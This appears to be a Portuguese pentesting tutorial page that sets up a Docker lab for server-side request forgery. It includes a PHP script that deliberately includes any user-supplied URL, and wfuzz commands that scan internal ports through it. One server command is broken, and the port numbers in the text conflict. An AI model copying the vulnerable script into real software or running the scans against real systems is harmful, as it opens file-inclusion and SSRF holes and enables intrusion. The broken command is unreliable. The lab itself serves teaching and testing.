> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md).

# SSRF com Wfuzz

## Instalação do Primeiro Cenário (Vulnerabilidade SSRF)

```bash
docker pull ubuntu:latest
docker run -dit --name ssrf_first_lab ubuntu
docker exec -it ssrf_first_lab bash
apt update
apt install apache2 php nano python3 lsof -y
service apache2 start
lsof -i:80 # verifique se o site está ativo

```

* No diretório **/var/www/html**, crie um arquivo utility.php com o conteúdo abaixo:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Listando o conteúdo do site " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] Nenhum valor foi fornecido para o parâmetro URL/n/n";
}
?>

```

* Nesse caso, o script não funciona como esperado. Você deve modificar o arquivo **"/etc/php/8.1/apache2/php.ini"** configurando \_allow/\_url/*include* para "on". ![](/files/fc0ade595f62b99adacc3c96fb87815ec9ae9e32) ![](/files/707e508fcfe96becf3619557af9b224e0fcde6fc)
* Crie um `login.html` arquivo em `/tmp/` para simular uma página de login em produção:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Página de Login </title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: pink;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center> <h1> Formulário de Login do Estudante (PRO) </h1> </center>
    <form>
        <div class="container">
            <label>Nome de usuário: </label>
            <input type="text" placeholder="Digite o nome de usuário" name="username" required>
            <label>Senha: </label>
            <input type="password" placeholder="Digite a senha" name="password" required>
            <button type="submit">Login</button>
            <input type="checkbox" checked="checked"> Lembrar de mim
            <button type="button" class="cancelbtn"> Cancelar</button>
            Esqueceu <a href="#"> a senha? </a>

    </form>
</body>
</html>

```

* Reinicie o serviço apache2 após a modificação:

  ```bash
  service apache2 restart

  ```
* Crie um servidor web Python3 visível apenas a partir da rede interna:

```bash
python3 -m 4646 --bind 127.0.0.1

```

Diagrama técnico para entender o primeiro cenário (**Há um site na porta 8089 que só é visível pelos computadores da rede interna**):

<figure><img src="/files/22cc22e80eba090b906a2aa9c6e9b539328b9fb0" alt="" width="563"><figcaption></figcaption></figure>

Graças ao **utility.php** script, especificamos uma URL e vemos que ele a interpreta:

<figure><img src="/files/0935c7f34668cdb1d196022c640d78ee085fe246" alt=""><figcaption></figcaption></figure>

Se tentarmos nos conectar a partir da nossa máquina normal, **não temos acesso** ao site:

<figure><img src="/files/5f33c907bd0203f53fcb78739150be2a617343b8" alt="" width="563"><figcaption></figcaption></figure>

Mas se nos conectarmos por meio de **utility.php** e informarmos a URL da rede interna, vemos que ele a interpreta:

<figure><img src="/files/fd87247ac449a690f2382c25240ed5efda3c6d2c" alt="" width="563"><figcaption></figcaption></figure>

Em um caso hipotético em que **não sabemos a porta**, usamos **Wfuzz** para lançar um ataque de força bruta:

```go
wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

<figure><img src="/files/cfeaa42e6c32ab66be96bf5bad87ccdd6fed962d" alt="" width="503"><figcaption></figcaption></figure>

Agora, nós **filtramos** para mostrar apenas sites com um **comprimento de 4 caracteres**:

```go
wfuzz -c -t 200 --hl=4  -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ"

```

Ele detecta as portas **80 e 4646**:

<figure><img src="/files/5434c410f029951089807b60a5061d9807a7dfcc" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
